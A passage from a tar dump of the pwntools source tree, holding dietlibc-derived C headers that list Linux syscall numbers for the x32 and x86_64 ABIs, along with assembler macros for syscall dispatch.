AT_* constants */ __attribute__((__warn_unused_result__)) int faccessat(int dirfd, const char *pathname, int mode, int flags) __THROW; __attribute__((__warn_unused_result__)) int fchownat(int dirfd, const char *pathname, uid_t owner, gid_t group, int flags) __THROW; __attribute__((__warn_unused_result__)) int linkat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath, int flags) __THROW; __attribute__((__warn_unused_result__)) __writememsz__(3,4) int readlinkat(int dirfd, const char *pathname, char *buf, size_t bufsiz) __THROW; #endif #define _POSIX_MAPPED_FILES 200809L __attribute__((__warn_unused_result__)) __writememsz__(1,2) int getentropy(void* buf,size_t buflen) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/x32/000077500000000000000000000000001507273764500267025ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/x32/syscalls.h000066400000000000000000000426011507273764500307130ustar00rootroot00000000000000/* the x32 syscall bit is 0x40000000 but we handle that inside our * unified syscall, not here, so we can have a tiny optimization for * small syscall numbers. We still leave the #define in so we can cut * and paste from * /usr/src/linux/arch/x86/include/generated/uapi/asm/unistd_x32.h */ #define __X32_SYSCALL_BIT 0 #define __NR_read (__X32_SYSCALL_BIT + 0) #define __NR_write (__X32_SYSCALL_BIT + 1) #define __NR_open (__X32_SYSCALL_BIT + 2) #define __NR_close (__X32_SYSCALL_BIT + 3) #define __NR_stat (__X32_SYSCALL_BIT + 4) #define __NR_fstat (__X32_SYSCALL_BIT + 5) #define __NR_lstat (__X32_SYSCALL_BIT + 6) #define __NR_poll (__X32_SYSCALL_BIT + 7) #define __NR_lseek (__X32_SYSCALL_BIT + 8) #define __NR_mmap (__X32_SYSCALL_BIT + 9) #define __NR_mprotect (__X32_SYSCALL_BIT + 10) #define __NR_munmap (__X32_SYSCALL_BIT + 11) #define __NR_brk (__X32_SYSCALL_BIT + 12) #define __NR_rt_sigprocmask (__X32_SYSCALL_BIT + 14) #define __NR_pread64 (__X32_SYSCALL_BIT + 17) #define __NR_pwrite64 (__X32_SYSCALL_BIT + 18) #define __NR_access (__X32_SYSCALL_BIT + 21) #define __NR_pipe (__X32_SYSCALL_BIT + 22) #define __NR_select (__X32_SYSCALL_BIT + 23) #define __NR_sched_yield (__X32_SYSCALL_BIT + 24) #define __NR_mremap (__X32_SYSCALL_BIT + 25) #define __NR_msync (__X32_SYSCALL_BIT + 26) #define __NR_mincore (__X32_SYSCALL_BIT + 27) #define __NR_madvise (__X32_SYSCALL_BIT + 28) #define __NR_shmget (__X32_SYSCALL_BIT + 29) #define __NR_shmat (__X32_SYSCALL_BIT + 30) #define __NR_shmctl (__X32_SYSCALL_BIT + 31) #define __NR_dup (__X32_SYSCALL_BIT + 32) #define __NR_dup2 (__X32_SYSCALL_BIT + 33) #define __NR_pause (__X32_SYSCALL_BIT + 34) #define __NR_nanosleep (__X32_SYSCALL_BIT + 35) #define __NR_getitimer (__X32_SYSCALL_BIT + 36) #define __NR_alarm (__X32_SYSCALL_BIT + 37) #define __NR_setitimer (__X32_SYSCALL_BIT + 38) #define __NR_getpid (__X32_SYSCALL_BIT + 39) #define __NR_sendfile (__X32_SYSCALL_BIT + 40) #define __NR_socket (__X32_SYSCALL_BIT + 41) #define __NR_connect (__X32_SYSCALL_BIT + 42) #define __NR_accept (__X32_SYSCALL_BIT + 43) #define __NR_sendto (__X32_SYSCALL_BIT + 44) #define __NR_shutdown (__X32_SYSCALL_BIT + 48) #define __NR_bind (__X32_SYSCALL_BIT + 49) #define __NR_listen (__X32_SYSCALL_BIT + 50) #define __NR_getsockname (__X32_SYSCALL_BIT + 51) #define __NR_getpeername (__X32_SYSCALL_BIT + 52) #define __NR_socketpair (__X32_SYSCALL_BIT + 53) #define __NR_clone (__X32_SYSCALL_BIT + 56) #define __NR_fork (__X32_SYSCALL_BIT + 57) #define __NR_vfork (__X32_SYSCALL_BIT + 58) #define __NR_exit (__X32_SYSCALL_BIT + 60) #define __NR_wait4 (__X32_SYSCALL_BIT + 61) #define __NR_kill (__X32_SYSCALL_BIT + 62) #define __NR_uname (__X32_SYSCALL_BIT + 63) #define __NR_semget (__X32_SYSCALL_BIT + 64) #define __NR_semop (__X32_SYSCALL_BIT + 65) #define __NR_semctl (__X32_SYSCALL_BIT + 66) #define __NR_shmdt (__X32_SYSCALL_BIT + 67) #define __NR_msgget (__X32_SYSCALL_BIT + 68) #define __NR_msgsnd (__X32_SYSCALL_BIT + 69) #define __NR_msgrcv (__X32_SYSCALL_BIT + 70) #define __NR_msgctl (__X32_SYSCALL_BIT + 71) #define __NR_fcntl (__X32_SYSCALL_BIT + 72) #define __NR_flock (__X32_SYSCALL_BIT + 73) #define __NR_fsync (__X32_SYSCALL_BIT + 74) #define __NR_fdatasync (__X32_SYSCALL_BIT + 75) #define __NR_truncate (__X32_SYSCALL_BIT + 76) #define __NR_ftruncate (__X32_SYSCALL_BIT + 77) #define __NR_getdents (__X32_SYSCALL_BIT + 78) #define __NR_getcwd (__X32_SYSCALL_BIT + 79) #define __NR_chdir (__X32_SYSCALL_BIT + 80) #define __NR_fchdir (__X32_SYSCALL_BIT + 81) #define __NR_rename (__X32_SYSCALL_BIT + 82) #define __NR_mkdir (__X32_SYSCALL_BIT + 83) #define __NR_rmdir (__X32_SYSCALL_BIT + 84) #define __NR_creat (__X32_SYSCALL_BIT + 85) #define __NR_link (__X32_SYSCALL_BIT + 86) #define __NR_unlink (__X32_SYSCALL_BIT + 87) #define __NR_symlink (__X32_SYSCALL_BIT + 88) #define __NR_readlink (__X32_SYSCALL_BIT + 89) #define __NR_chmod (__X32_SYSCALL_BIT + 90) #define __NR_fchmod (__X32_SYSCALL_BIT + 91) #define __NR_chown (__X32_SYSCALL_BIT + 92) #define __NR_fchown (__X32_SYSCALL_BIT + 93) #define __NR_lchown (__X32_SYSCALL_BIT + 94) #define __NR_umask (__X32_SYSCALL_BIT + 95) #define __NR_gettimeofday (__X32_SYSCALL_BIT + 96) #define __NR_getrlimit (__X32_SYSCALL_BIT + 97) #define __NR_getrusage (__X32_SYSCALL_BIT + 98) #define __NR_sysinfo (__X32_SYSCALL_BIT + 99) #define __NR_times (__X32_SYSCALL_BIT + 100) #define __NR_getuid (__X32_SYSCALL_BIT + 102) #define __NR_syslog (__X32_SYSCALL_BIT + 103) #define __NR_getgid (__X32_SYSCALL_BIT + 104) #define __NR_setuid (__X32_SYSCALL_BIT + 105) #define __NR_setgid (__X32_SYSCALL_BIT + 106) #define __NR_geteuid (__X32_SYSCALL_BIT + 107) #define __NR_getegid (__X32_SYSCALL_BIT + 108) #define __NR_setpgid (__X32_SYSCALL_BIT + 109) #define __NR_getppid (__X32_SYSCALL_BIT + 110) #define __NR_getpgrp (__X32_SYSCALL_BIT + 111) #define __NR_setsid (__X32_SYSCALL_BIT + 112) #define __NR_setreuid (__X32_SYSCALL_BIT + 113) #define __NR_setregid (__X32_SYSCALL_BIT + 114) #define __NR_getgroups (__X32_SYSCALL_BIT + 115) #define __NR_setgroups (__X32_SYSCALL_BIT + 116) #define __NR_setresuid (__X32_SYSCALL_BIT + 117) #define __NR_getresuid (__X32_SYSCALL_BIT + 118) #define __NR_setresgid (__X32_SYSCALL_BIT + 119) #define __NR_getresgid (__X32_SYSCALL_BIT + 120) #define __NR_getpgid (__X32_SYSCALL_BIT + 121) #define __NR_setfsuid (__X32_SYSCALL_BIT + 122) #define __NR_setfsgid (__X32_SYSCALL_BIT + 123) #define __NR_getsid (__X32_SYSCALL_BIT + 124) #define __NR_capget (__X32_SYSCALL_BIT + 125) #define __NR_capset (__X32_SYSCALL_BIT + 126) #define __NR_rt_sigsuspend (__X32_SYSCALL_BIT + 130) #define __NR_utime (__X32_SYSCALL_BIT + 132) #define __NR_mknod (__X32_SYSCALL_BIT + 133) #define __NR_personality (__X32_SYSCALL_BIT + 135) #define __NR_ustat (__X32_SYSCALL_BIT + 136) #define __NR_statfs (__X32_SYSCALL_BIT + 137) #define __NR_fstatfs (__X32_SYSCALL_BIT + 138) #define __NR_sysfs (__X32_SYSCALL_BIT + 139) #define __NR_getpriority (__X32_SYSCALL_BIT + 140) #define __NR_setpriority (__X32_SYSCALL_BIT + 141) #define __NR_sched_setparam (__X32_SYSCALL_BIT + 142) #define __NR_sched_getparam (__X32_SYSCALL_BIT + 143) #define __NR_sched_setscheduler (__X32_SYSCALL_BIT + 144) #define __NR_sched_getscheduler (__X32_SYSCALL_BIT + 145) #define __NR_sched_get_priority_max (__X32_SYSCALL_BIT + 146) #define __NR_sched_get_priority_min (__X32_SYSCALL_BIT + 147) #define __NR_sched_rr_get_interval (__X32_SYSCALL_BIT + 148) #define __NR_mlock (__X32_SYSCALL_BIT + 149) #define __NR_munlock (__X32_SYSCALL_BIT + 150) #define __NR_mlockall (__X32_SYSCALL_BIT + 151) #define __NR_munlockall (__X32_SYSCALL_BIT + 152) #define __NR_vhangup (__X32_SYSCALL_BIT + 153) #define __NR_modify_ldt (__X32_SYSCALL_BIT + 154) #define __NR_pivot_root (__X32_SYSCALL_BIT + 155) #define __NR_prctl (__X32_SYSCALL_BIT + 157) #define __NR_arch_prctl (__X32_SYSCALL_BIT + 158) #define __NR_adjtimex (__X32_SYSCALL_BIT + 159) #define __NR_setrlimit (__X32_SYSCALL_BIT + 160) #define __NR_chroot (__X32_SYSCALL_BIT + 161) #define __NR_sync (__X32_SYSCALL_BIT + 162) #define __NR_acct (__X32_SYSCALL_BIT + 163) #define __NR_settimeofday (__X32_SYSCALL_BIT + 164) #define __NR_mount (__X32_SYSCALL_BIT + 165) #define __NR_umount2 (__X32_SYSCALL_BIT + 166) #define __NR_swapon (__X32_SYSCALL_BIT + 167) #define __NR_swapoff (__X32_SYSCALL_BIT + 168) #define __NR_reboot (__X32_SYSCALL_BIT + 169) #define __NR_sethostname (__X32_SYSCALL_BIT + 170) #define __NR_setdomainname (__X32_SYSCALL_BIT + 171) #define __NR_iopl (__X32_SYSCALL_BIT + 172) #define __NR_ioperm (__X32_SYSCALL_BIT + 173) #define __NR_init_module (__X32_SYSCALL_BIT + 175) #define __NR_delete_module (__X32_SYSCALL_BIT + 176) #define __NR_quotactl (__X32_SYSCALL_BIT + 179) #define __NR_getpmsg (__X32_SYSCALL_BIT + 181) #define __NR_putpmsg (__X32_SYSCALL_BIT + 182) #define __NR_afs_syscall (__X32_SYSCALL_BIT + 183) #define __NR_tuxcall (__X32_SYSCALL_BIT + 184) #define __NR_security (__X32_SYSCALL_BIT + 185) #define __NR_gettid (__X32_SYSCALL_BIT + 186) #define __NR_readahead (__X32_SYSCALL_BIT + 187) #define __NR_setxattr (__X32_SYSCALL_BIT + 188) #define __NR_lsetxattr (__X32_SYSCALL_BIT + 189) #define __NR_fsetxattr (__X32_SYSCALL_BIT + 190) #define __NR_getxattr (__X32_SYSCALL_BIT + 191) #define __NR_lgetxattr (__X32_SYSCALL_BIT + 192) #define __NR_fgetxattr (__X32_SYSCALL_BIT + 193) #define __NR_listxattr (__X32_SYSCALL_BIT + 194) #define __NR_llistxattr (__X32_SYSCALL_BIT + 195) #define __NR_flistxattr (__X32_SYSCALL_BIT + 196) #define __NR_removexattr (__X32_SYSCALL_BIT + 197) #define __NR_lremovexattr (__X32_SYSCALL_BIT + 198) #define __NR_fremovexattr (__X32_SYSCALL_BIT + 199) #define __NR_tkill (__X32_SYSCALL_BIT + 200) #define __NR_time (__X32_SYSCALL_BIT + 201) #define __NR_futex (__X32_SYSCALL_BIT + 202) #define __NR_sched_setaffinity (__X32_SYSCALL_BIT + 203) #define __NR_sched_getaffinity (__X32_SYSCALL_BIT + 204) #define __NR_io_destroy (__X32_SYSCALL_BIT + 207) #define __NR_io_getevents (__X32_SYSCALL_BIT + 208) #define __NR_io_cancel (__X32_SYSCALL_BIT + 210) #define __NR_lookup_dcookie (__X32_SYSCALL_BIT + 212) #define __NR_epoll_create (__X32_SYSCALL_BIT + 213) #define __NR_remap_file_pages (__X32_SYSCALL_BIT + 216) #define __NR_getdents64 (__X32_SYSCALL_BIT + 217) #define __NR_set_tid_address (__X32_SYSCALL_BIT + 218) #define __NR_restart_syscall (__X32_SYSCALL_BIT + 219) #define __NR_semtimedop (__X32_SYSCALL_BIT + 220) #define __NR_fadvise64 (__X32_SYSCALL_BIT + 221) #define __NR_timer_settime (__X32_SYSCALL_BIT + 223) #define __NR_timer_gettime (__X32_SYSCALL_BIT + 224) #define __NR_timer_getoverrun (__X32_SYSCALL_BIT + 225) #define __NR_timer_delete (__X32_SYSCALL_BIT + 226) #define __NR_clock_settime (__X32_SYSCALL_BIT + 227) #define __NR_clock_gettime (__X32_SYSCALL_BIT + 228) #define __NR_clock_getres (__X32_SYSCALL_BIT + 229) #define __NR_clock_nanosleep (__X32_SYSCALL_BIT + 230) #define __NR_exit_group (__X32_SYSCALL_BIT + 231) #define __NR_epoll_wait (__X32_SYSCALL_BIT + 232) #define __NR_epoll_ctl (__X32_SYSCALL_BIT + 233) #define __NR_tgkill (__X32_SYSCALL_BIT + 234) #define __NR_utimes (__X32_SYSCALL_BIT + 235) #define __NR_mbind (__X32_SYSCALL_BIT + 237) #define __NR_set_mempolicy (__X32_SYSCALL_BIT + 238) #define __NR_get_mempolicy (__X32_SYSCALL_BIT + 239) #define __NR_mq_open (__X32_SYSCALL_BIT + 240) #define __NR_mq_unlink (__X32_SYSCALL_BIT + 241) #define __NR_mq_timedsend (__X32_SYSCALL_BIT + 242) #define __NR_mq_timedreceive (__X32_SYSCALL_BIT + 243) #define __NR_mq_getsetattr (__X32_SYSCALL_BIT + 245) #define __NR_add_key (__X32_SYSCALL_BIT + 248) #define __NR_request_key (__X32_SYSCALL_BIT + 249) #define __NR_keyctl (__X32_SYSCALL_BIT + 250) #define __NR_ioprio_set (__X32_SYSCALL_BIT + 251) #define __NR_ioprio_get (__X32_SYSCALL_BIT + 252) #define __NR_inotify_init (__X32_SYSCALL_BIT + 253) #define __NR_inotify_add_watch (__X32_SYSCALL_BIT + 254) #define __NR_inotify_rm_watch (__X32_SYSCALL_BIT + 255) #define __NR_migrate_pages (__X32_SYSCALL_BIT + 256) #define __NR_openat (__X32_SYSCALL_BIT + 257) #define __NR_mkdirat (__X32_SYSCALL_BIT + 258) #define __NR_mknodat (__X32_SYSCALL_BIT + 259) #define __NR_fchownat (__X32_SYSCALL_BIT + 260) #define __NR_futimesat (__X32_SYSCALL_BIT + 261) #define __NR_newfstatat (__X32_SYSCALL_BIT + 262) #define __NR_unlinkat (__X32_SYSCALL_BIT + 263) #define __NR_renameat (__X32_SYSCALL_BIT + 264) #define __NR_linkat (__X32_SYSCALL_BIT + 265) #define __NR_symlinkat (__X32_SYSCALL_BIT + 266) #define __NR_readlinkat (__X32_SYSCALL_BIT + 267) #define __NR_fchmodat (__X32_SYSCALL_BIT + 268) #define __NR_faccessat (__X32_SYSCALL_BIT + 269) #define __NR_pselect6 (__X32_SYSCALL_BIT + 270) #define __NR_ppoll (__X32_SYSCALL_BIT + 271) #define __NR_unshare (__X32_SYSCALL_BIT + 272) #define __NR_splice (__X32_SYSCALL_BIT + 275) #define __NR_tee (__X32_SYSCALL_BIT + 276) #define __NR_sync_file_range (__X32_SYSCALL_BIT + 277) #define __NR_utimensat (__X32_SYSCALL_BIT + 280) #define __NR_epoll_pwait (__X32_SYSCALL_BIT + 281) #define __NR_signalfd (__X32_SYSCALL_BIT + 282) #define __NR_timerfd_create (__X32_SYSCALL_BIT + 283) #define __NR_eventfd (__X32_SYSCALL_BIT + 284) #define __NR_fallocate (__X32_SYSCALL_BIT + 285) #define __NR_timerfd_settime (__X32_SYSCALL_BIT + 286) #define __NR_timerfd_gettime (__X32_SYSCALL_BIT + 287) #define __NR_accept4 (__X32_SYSCALL_BIT + 288) #define __NR_signalfd4 (__X32_SYSCALL_BIT + 289) #define __NR_eventfd2 (__X32_SYSCALL_BIT + 290) #define __NR_epoll_create1 (__X32_SYSCALL_BIT + 291) #define __NR_dup3 (__X32_SYSCALL_BIT + 292) #define __NR_pipe2 (__X32_SYSCALL_BIT + 293) #define __NR_inotify_init1 (__X32_SYSCALL_BIT + 294) #define __NR_perf_event_open (__X32_SYSCALL_BIT + 298) #define __NR_fanotify_init (__X32_SYSCALL_BIT + 300) #define __NR_fanotify_mark (__X32_SYSCALL_BIT + 301) #define __NR_prlimit64 (__X32_SYSCALL_BIT + 302) #define __NR_name_to_handle_at (__X32_SYSCALL_BIT + 303) #define __NR_open_by_handle_at (__X32_SYSCALL_BIT + 304) #define __NR_clock_adjtime (__X32_SYSCALL_BIT + 305) #define __NR_syncfs (__X32_SYSCALL_BIT + 306) #define __NR_setns (__X32_SYSCALL_BIT + 308) #define __NR_getcpu (__X32_SYSCALL_BIT + 309) #define __NR_kcmp (__X32_SYSCALL_BIT + 312) #define __NR_finit_module (__X32_SYSCALL_BIT + 313) #define __NR_sched_setattr (__X32_SYSCALL_BIT + 314) #define __NR_sched_getattr (__X32_SYSCALL_BIT + 315) #define __NR_renameat2 (__X32_SYSCALL_BIT + 316) #define __NR_seccomp (__X32_SYSCALL_BIT + 317) #define __NR_getrandom (__X32_SYSCALL_BIT + 318) #define __NR_memfd_create (__X32_SYSCALL_BIT + 319) #define __NR_kexec_file_load (__X32_SYSCALL_BIT + 320) #define __NR_bpf (__X32_SYSCALL_BIT + 321) #define __NR_userfaultfd (__X32_SYSCALL_BIT + 323) #define __NR_membarrier (__X32_SYSCALL_BIT + 324) #define __NR_mlock2 (__X32_SYSCALL_BIT + 325) #define __NR_copy_file_range (__X32_SYSCALL_BIT + 326) #define __NR_pkey_mprotect (__X32_SYSCALL_BIT + 329) #define __NR_pkey_alloc (__X32_SYSCALL_BIT + 330) #define __NR_pkey_free (__X32_SYSCALL_BIT + 331) #define __NR_statx (__X32_SYSCALL_BIT + 332) #define __NR_io_pgetevents (__X32_SYSCALL_BIT + 333) #define __NR_rseq (__X32_SYSCALL_BIT + 334) #define __NR_pidfd_send_signal (__X32_SYSCALL_BIT + 424) #define __NR_io_uring_setup (__X32_SYSCALL_BIT + 425) #define __NR_io_uring_enter (__X32_SYSCALL_BIT + 426) #define __NR_io_uring_register (__X32_SYSCALL_BIT + 427) #define __NR_open_tree (__X32_SYSCALL_BIT + 428) #define __NR_move_mount (__X32_SYSCALL_BIT + 429) #define __NR_fsopen (__X32_SYSCALL_BIT + 430) #define __NR_fsconfig (__X32_SYSCALL_BIT + 431) #define __NR_fsmount (__X32_SYSCALL_BIT + 432) #define __NR_fspick (__X32_SYSCALL_BIT + 433) #define __NR_pidfd_open (__X32_SYSCALL_BIT + 434) #define __NR_clone3 (__X32_SYSCALL_BIT + 435) #define __NR_openat2 (__X32_SYSCALL_BIT + 437) #define __NR_pidfd_getfd (__X32_SYSCALL_BIT + 438) #define __NR_rt_sigaction (__X32_SYSCALL_BIT + 512) #define __NR_rt_sigreturn (__X32_SYSCALL_BIT + 513) #define __NR_ioctl (__X32_SYSCALL_BIT + 514) #define __NR_readv (__X32_SYSCALL_BIT + 515) #define __NR_writev (__X32_SYSCALL_BIT + 516) #define __NR_recvfrom (__X32_SYSCALL_BIT + 517) #define __NR_sendmsg (__X32_SYSCALL_BIT + 518) #define __NR_recvmsg (__X32_SYSCALL_BIT + 519) #define __NR_execve (__X32_SYSCALL_BIT + 520) #define __NR_ptrace (__X32_SYSCALL_BIT + 521) #define __NR_rt_sigpending (__X32_SYSCALL_BIT + 522) #define __NR_rt_sigtimedwait (__X32_SYSCALL_BIT + 523) #define __NR_rt_sigqueueinfo (__X32_SYSCALL_BIT + 524) #define __NR_sigaltstack (__X32_SYSCALL_BIT + 525) #define __NR_timer_create (__X32_SYSCALL_BIT + 526) #define __NR_mq_notify (__X32_SYSCALL_BIT + 527) #define __NR_kexec_load (__X32_SYSCALL_BIT + 528) #define __NR_waitid (__X32_SYSCALL_BIT + 529) #define __NR_set_robust_list (__X32_SYSCALL_BIT + 530) #define __NR_get_robust_list (__X32_SYSCALL_BIT + 531) #define __NR_vmsplice (__X32_SYSCALL_BIT + 532) #define __NR_move_pages (__X32_SYSCALL_BIT + 533) #define __NR_preadv (__X32_SYSCALL_BIT + 534) #define __NR_pwritev (__X32_SYSCALL_BIT + 535) #define __NR_rt_tgsigqueueinfo (__X32_SYSCALL_BIT + 536) #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define __NR_sendmmsg (__X32_SYSCALL_BIT + 538) #define __NR_process_vm_readv (__X32_SYSCALL_BIT + 539) #define __NR_process_vm_writev (__X32_SYSCALL_BIT + 540) #define __NR_setsockopt (__X32_SYSCALL_BIT + 541) #define __NR_getsockopt (__X32_SYSCALL_BIT + 542) #define __NR_io_setup (__X32_SYSCALL_BIT + 543) #define __NR_io_submit (__X32_SYSCALL_BIT + 544) #define __NR_execveat (__X32_SYSCALL_BIT + 545) #define __NR_preadv2 (__X32_SYSCALL_BIT + 546) #define __NR_pwritev2 (__X32_SYSCALL_BIT + 547) #ifdef __PIC__ #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT ; \ .endif #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT; \ .endif #else #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall; \ .endif #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall; \ .endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/x86_64/000077500000000000000000000000001507273764500272245ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/x86_64/syscalls.h000066400000000000000000000374231507273764500312430ustar00rootroot00000000000000#define __NR_read 0 #define __NR_write 1 #define __NR_open 2 #define __NR_close 3 #define __NR_stat 4 #define __NR_fstat 5 #define __NR_lstat 6 #define __NR_poll 7 #define __NR_lseek 8 #define __NR_mmap 9 #define __NR_mprotect 10 #define __NR_munmap 11 #define __NR_brk 12 #define __NR_rt_sigaction 13 #define __NR_rt_sigprocmask 14 #define __NR_rt_sigreturn 15 #define __NR_ioctl 16 #define __NR_pread 17 #define __NR_pwrite 18 #define __NR_readv 19 #define __NR_writev 20 #define __NR_access 21 #define __NR_pipe 22 #define __NR_select 23 #define __NR_sched_yield 24 #define __NR_mremap 25 #define __NR_msync 26 #define __NR_mincore 27 #define __NR_madvise 28 #define __NR_shmget 29 #define __NR_shmat 30 #define __NR_shmctl 31 #define __NR_dup 32 #define __NR_dup2 33 #define __NR_pause 34 #define __NR_nanosleep 35 #define __NR_getitimer 36 #define __NR_alarm 37 #define __NR_setitimer 38 #define __NR_getpid 39 #define __NR_sendfile 40 #define __NR_socket 41 #define __NR_connect 42 #define __NR_accept 43 #define __NR_sendto 44 #define __NR_recvfrom 45 #define __NR_sendmsg 46 #define __NR_recvmsg 47 #define __NR_shutdown 48 #define __NR_bind 49 #define __NR_listen 50 #define __NR_getsockname 51 #define __NR_getpeername 52 #define __NR_socketpair 53 #define __NR_setsockopt 54 #define __NR_getsockopt 55 #define __NR_clone 56 #define __NR_fork 57 #define __NR_vfork 58 #define __NR_execve 59 #define __NR_exit 60 #define __NR_wait4 61 #define __NR_kill 62 #define __NR_uname 63 #define __NR_semget 64 #define __NR_semop 65 #define __NR_semctl 66 #define __NR_shmdt 67 #define __NR_msgget 68 #define __NR_msgsnd 69 #define __NR_msgrcv 70 #define __NR_msgctl 71 #define __NR_fcntl 72 #define __NR_flock 73 #define __NR_fsync 74 #define __NR_fdatasync 75 #define __NR_truncate 76 #define __NR_ftruncate 77 #define __NR_getdents 78 #define __NR_getcwd 79 #define __NR_chdir 80 #define __NR_fchdir 81 #define __NR_rename 82 #define __NR_mkdir 83 #define __NR_rmdir 84 #define __NR_creat 85 #define __NR_link 86 #define __NR_unlink 87 #define __NR_symlink 88 #define __NR_readlink 89 #define __NR_chmod 90 #define __NR_fchmod 91 #define __NR_chown 92 #define __NR_fchown 93 #define __NR_lchown 94 #define __NR_umask 95 #define __NR_gettimeofday 96 #define __NR_getrlimit 97 #define __NR_getrusage 98 #define __NR_sysinfo 99 #define __NR_times 100 #define __NR_ptrace 101 #define __NR_getuid 102 #define __NR_syslog 103 /* at the very end the stuff that never runs during the benchmarks */ #define __NR_getgid 104 #define __NR_setuid 105 #define __NR_setgid 106 #define __NR_geteuid 107 #define __NR_getegid 108 #define __NR_setpgid 109 #define __NR_getppid 110 #define __NR_getpgrp 111 #define __NR_setsid 112 #define __NR_setreuid 113 #define __NR_setregid 114 #define __NR_getgroups 115 #define __NR_setgroups 116 #define __NR_setresuid 117 #define __NR_getresuid 118 #define __NR_setresgid 119 #define __NR_getresgid 120 #define __NR_getpgid 121 #define __NR_setfsuid 122 #define __NR_setfsgid 123 #define __NR_getsid 124 #define __NR_capget 125 #define __NR_capset 126 #define __NR_rt_sigpending 127 #define __NR_rt_sigtimedwait 128 #define __NR_rt_sigqueueinfo 129 #define __NR_rt_sigsuspend 130 #define __NR_sigaltstack 131 #define __NR_utime 132 #define __NR_mknod 133 #define __NR_uselib 134 #define __NR_personality 135 #define __NR_ustat 136 #define __NR_statfs 137 #define __NR_fstatfs 138 #define __NR_sysfs 139 #define __NR_getpriority 140 #define __NR_setpriority 141 #define __NR_sched_setparam 142 #define __NR_sched_getparam 143 #define __NR_sched_setscheduler 144 #define __NR_sched_getscheduler 145 #define __NR_sched_get_priority_max 146 #define __NR_sched_get_priority_min 147 #define __NR_sched_rr_get_interval 148 #define __NR_mlock 149 #define __NR_munlock 150 #define __NR_mlockall 151 #define __NR_munlockall 152 #define __NR_vhangup 153 #define __NR_modify_ldt 154 #define __NR_pivot_root 155 #define __NR__sysctl 156 #define __NR_prctl 157 #define __NR_arch_prctl 158 #define __NR_adjtimex 159 #define __NR_setrlimit 160 #define __NR_chroot 161 #define __NR_sync 162 #define __NR_acct 163 #define __NR_settimeofday 164 #define __NR_mount 165 #define __NR_umount2 166 #define __NR_swapon 167 #define __NR_swapoff 168 #define __NR_reboot 169 #define __NR_sethostname 170 #define __NR_setdomainname 171 #define __NR_iopl 172 #define __NR_ioperm 173 #define __NR_create_module 174 #define __NR_init_module 175 #define __NR_delete_module 176 #define __NR_get_kernel_syms 177 #define __NR_query_module 178 #define __NR_quotactl 179 #define __NR_nfsservctl 180 #define __NR_getpmsg 181 /* reserved for LiS/STREAMS */ #define __NR_putpmsg 182 /* reserved for LiS/STREAMS */ #define __NR_afs_syscall 183 /* reserved for AFS */ #define __NR_tuxcall 184 /* reserved for tux */ #define __NR_security 185 #define __NR_gettid 186 #define __NR_readahead 187 #define __NR_setxattr 188 #define __NR_lsetxattr 189 #define __NR_fsetxattr 190 #define __NR_getxattr 191 #define __NR_lgetxattr 192 #define __NR_fgetxattr 193 #define __NR_listxattr 194 #define __NR_llistxattr 195 #define __NR_flistxattr 196 #define __NR_removexattr 197 #define __NR_lremovexattr 198 #define __NR_fremovexattr 199 #define __NR_tkill 200 #define __NR_time 201 #define __NR_futex 202 #define __NR_sched_setaffinity 203 #define __NR_sched_getaffinity 204 #define __NR_set_thread_area 205 #define __NR_io_setup 206 #define __NR_io_destroy 207 #define __NR_io_getevents 208 #define __NR_io_submit 209 #define __NR_io_cancel 210 #define __NR_get_thread_area 211 #define __NR_lookup_dcookie 212 #define __NR_epoll_create 213 #define __NR_epoll_ctl_old 214 #define __NR_epoll_wait_old 215 #define __NR_remap_file_pages 216 #define __NR_getdents64 217 #define __NR_set_tid_address 218 #define __NR_restart_syscall 219 #define __NR_semtimedop 220 #define __NR_fadvise64 221 #define __NR_timer_create 222 #define __NR_timer_settime 223 #define __NR_timer_gettime 224 #define __NR_timer_getoverrun 225 #define __NR_timer_delete 226 #define __NR_clock_settime 227 #define __NR_clock_gettime 228 #define __NR_clock_getres 229 #define __NR_clock_nanosleep 230 #define __NR_exit_group 231 #define __NR_epoll_wait 232 #define __NR_epoll_ctl 233 #define __NR_tgkill 234 #define __NR_utimes 235 #define __NR_vserver 236 #define __NR_vserver 236 #define __NR_mbind 237 #define __NR_set_mempolicy 238 #define __NR_get_mempolicy 239 #define __NR_mq_open 240 #define __NR_mq_unlink 241 #define __NR_mq_timedsend 242 #define __NR_mq_timedreceive 243 #define __NR_mq_notify 244 #define __NR_mq_getsetattr 245 #define __NR_kexec_load 246 #define __NR_waitid 247 #define __NR_add_key 248 #define __NR_request_key 249 #define __NR_keyctl 250 #define __NR_ioprio_set 251 #define __NR_ioprio_get 252 #define __NR_inotify_init 253 #define __NR_inotify_add_watch 254 #define __NR_inotify_rm_watch 255 #define __NR_migrate_pages 256 #define __NR_openat 257 #define __NR_mkdirat 258 #define __NR_mknodat 259 #define __NR_fchownat 260 #define __NR_futimesat 261 #define __NR_newfstatat 262 #define __NR_unlinkat 263 #define __NR_renameat 264 #define __NR_linkat 265 #define __NR_symlinkat 266 #define __NR_readlinkat 267 #define __NR_fchmodat 268 #define __NR_faccessat 269 #define __NR_pselect6 270 #define 